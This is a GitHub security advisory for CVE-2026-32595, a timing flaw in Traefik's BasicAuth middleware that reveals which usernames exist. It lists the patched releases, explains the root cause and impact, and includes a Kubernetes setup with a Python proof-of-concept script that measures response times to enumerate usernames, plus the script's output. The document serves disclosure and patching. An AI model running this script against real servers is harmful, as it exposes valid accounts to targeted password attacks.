GHSA-G3HG-J4JV-CWFR

Vulnerability from github – Published: 2026-03-20 15:43 – Updated: 2026-03-20 15:43
VLAI
Summary
Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration
Details

Summary

There is a potential vulnerability in Traefik's BasicAuth middleware that allows username enumeration via a timing attack.

When a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.41
  • https://github.com/traefik/traefik/releases/tag/v3.6.11
  • https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary A timing attack vulnerability exists in Traefik's BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn't exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration. ### Details The vulnerability exists in the BasicAuth middleware implementation. When validating credentials: - User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt's design - User doesn't exist: The system immediately returns authentication failure in ~0.6ms This timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames. Root Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution. Expected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times. ### PoC Environment: - Traefik v3.6.9 - k3s v1.34.5 Configuration: 
apiVersion: traefik.io/v1alpha1
kind: Middleware
metadata:
  name: basicauth
  namespace: traefik-poc
spec:
  basicAuth:
    secret: basic-auth-secret
---
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: test-basicauth
  annotations:
    traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd
spec:
  ingressClassName: traefik
  rules:
    - http:
        paths:
          - path: /protected
            pathType: Prefix
            backend:
              service:
                name: whoami
                port:
                  number: 80
PoC Script: 
#!/usr/bin/env python3
import requests
import time
import statistics
import sys
TARGET = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:30080/protected"
TEST_USERS = ["admin", "root", "test", "nonexistent12345"]
SAMPLES = 20
def measure_time(username, password="wrongpassword"):
    times = []
    for _ in range(SAMPLES):
        start = time.perf_counter()
        requests.get(TARGET, auth=(username, password), timeout=5)
        elapsed = time.perf_counter() - start
        times.append(elapsed)
    return statistics.median(times)
print(f"Target: {TARGET}")
print(f"Samples per user: {SAMPLES}\n")
for user in TEST_USERS:
    median = measure_time(user)
    if median > 0.05:  # bcrypt threshold
        status = "[+] EXISTS (slow - bcrypt verification)"
    else:
        status = "[-] NOT FOUND (fast - immediate return)"
    print(f"{status}: {user:20s} | median={median:.4f}s")
Execution Results: 
Target: http://10.10.10.7:30080/protected
Samples per user: 20

[+] EXISTS (slow - bcrypt verification): admin         | median=0.1665s
[-] NOT FOUND (fast - immediate return): root          | median=0.0006s
[-] NOT FOUND (fast - immediate return): test          | median=0.0006s
[-] NOT FOUND (fast - immediate return): nonexistent   | median=0.0006s

Timing difference ratio: 298.0x
### Impact - **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208) - **Impact:** - Attackers can enumerate valid usernames without authentication - Enables targeted password brute-force attacks against confirmed accounts - Exposes information about system user structure - **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires: - BasicAuth middleware enabled - Attacker able to make requests to protected endpoints - Network access to measure response times - **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times - **Privileges Required:** None - **User Interaction:** None
Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.7.34"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.11.40"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.41"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.10"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0-ea.1"
            },
            {
              "fixed": "3.7.0-ea.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32595"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-20T15:43:13Z",
    "nvd_published_at": "2026-03-20T11:18:02Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThere is a potential vulnerability in Traefik\u0027s BasicAuth middleware that allows username enumeration via a timing attack.\n\nWhen a submitted username exists, the middleware performs a bcrypt password comparison taking ~166ms. When the username does not exist, the response returns immediately in ~0.6ms. This ~298x timing difference is observable over the network and allows an unauthenticated attacker to reliably distinguish valid from invalid usernames.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.41\n- https://github.com/traefik/traefik/releases/tag/v3.6.11\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA timing attack vulnerability exists in Traefik\u0027s BasicAuth middleware that allows unauthenticated attackers to enumerate valid usernames. When a username exists, bcrypt password verification takes ~166ms; when it doesn\u0027t exist, the response returns immediately in ~0.6ms. This ~298x timing difference enables reliable username enumeration.\n\n### Details\nThe vulnerability exists in the BasicAuth middleware implementation. When validating credentials:\n- User exists: The system performs bcrypt password comparison, which intentionally takes ~100-200ms due to bcrypt\u0027s design\n- User doesn\u0027t exist: The system immediately returns authentication failure in ~0.6ms\n\nThis timing difference is observable over the network and allows attackers to distinguish between valid and invalid usernames.\n\nRoot Cause: The code returns early when the user is not found, without performing a dummy bcrypt comparison to maintain constant-time execution.\n\nExpected behavior: The system should perform a bcrypt comparison regardless of whether the user exists, to maintain consistent response times.\n\n### PoC\nEnvironment:\n- Traefik v3.6.9\n- k3s v1.34.5\n\nConfiguration:\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n  name: basicauth\n  namespace: traefik-poc\nspec:\n  basicAuth:\n    secret: basic-auth-secret\n---\napiVersion: networking.k8s.io/v1\nkind: Ingress\nmetadata:\n  name: test-basicauth\n  annotations:\n    traefik.ingress.kubernetes.io/router.middlewares: traefik-poc-basicauth@kubernetescrd\nspec:\n  ingressClassName: traefik\n  rules:\n    - http:\n        paths:\n          - path: /protected\n            pathType: Prefix\n            backend:\n              service:\n                name: whoami\n                port:\n                  number: 80\n```\n\nPoC Script:\n```python\n#!/usr/bin/env python3\nimport requests\nimport time\nimport statistics\nimport sys\nTARGET = sys.argv[1] if len(sys.argv) \u003e 1 else \"http://localhost:30080/protected\"\nTEST_USERS = [\"admin\", \"root\", \"test\", \"nonexistent12345\"]\nSAMPLES = 20\ndef measure_time(username, password=\"wrongpassword\"):\n    times = []\n    for _ in range(SAMPLES):\n        start = time.perf_counter()\n        requests.get(TARGET, auth=(username, password), timeout=5)\n        elapsed = time.perf_counter() - start\n        times.append(elapsed)\n    return statistics.median(times)\nprint(f\"Target: {TARGET}\")\nprint(f\"Samples per user: {SAMPLES}\\n\")\nfor user in TEST_USERS:\n    median = measure_time(user)\n    if median \u003e 0.05:  # bcrypt threshold\n        status = \"[+] EXISTS (slow - bcrypt verification)\"\n    else:\n        status = \"[-] NOT FOUND (fast - immediate return)\"\n    print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin         | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root          | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test          | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent   | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n  - Attackers can enumerate valid usernames without authentication\n  - Enables targeted password brute-force attacks against confirmed accounts\n  - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik\u0027s BasicAuth middleware are affected. The vulnerability requires:\n  - BasicAuth middleware enabled\n  - Attacker able to make requests to protected endpoints\n  - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-g3hg-j4jv-cwfr",
  "modified": "2026-03-20T15:43:14Z",
  "published": "2026-03-20T15:43:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32595"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.41"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.6.11"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration"
}



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